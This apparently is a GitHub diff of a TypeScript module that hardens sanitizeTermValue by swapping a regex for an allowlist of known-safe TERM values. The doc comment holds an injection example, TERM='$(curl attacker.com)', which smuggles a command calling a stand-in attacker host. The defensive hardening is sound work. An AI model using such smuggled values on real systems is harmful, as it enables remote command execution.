File tree Expand file tree Collapse file tree
Expand file tree Collapse file tree Original file line number Diff line number Diff line change @@ -337,11 +337,26 @@ export async function promptSpawnNameShared(cloudLabel: string): Promise<void> {
337337 logInfo ( `Using resource name: ${ kebab } ` ) ;
338338}
339339
340+ /** Known-safe TERM values — defense-in-depth allowlist. */
341+ const SAFE_TERMS = new Set ( [
342+ "xterm-256color" ,
343+ "xterm" ,
344+ "screen-256color" ,
345+ "screen" ,
346+ "tmux-256color" ,
347+ "tmux" ,
348+ "linux" ,
349+ "vt100" ,
350+ "vt220" ,
351+ "dumb" ,
352+ ] ) ;
353+
340354/** Sanitize TERM value before interpolating into shell commands.
341355 * SECURITY: Prevents shell injection via malicious TERM env vars
342- * (e.g., TERM='$(curl attacker.com)' would execute on the remote server). */
356+ * (e.g., TERM='$(curl attacker.com)' would execute on the remote server).
357+ * Uses an explicit allowlist of known-safe values instead of a regex. */
343358export function sanitizeTermValue ( term : string ) : string {
344- if ( / ^ [ a - z A - Z 0 - 9 . _ - ] + $ / . test ( term ) ) {
359+ if ( SAFE_TERMS . has ( term ) ) {
345360 return term ;
346361 }
347362 return "xterm-256color" ;
You can’t perform that action at this time.
0 commit comments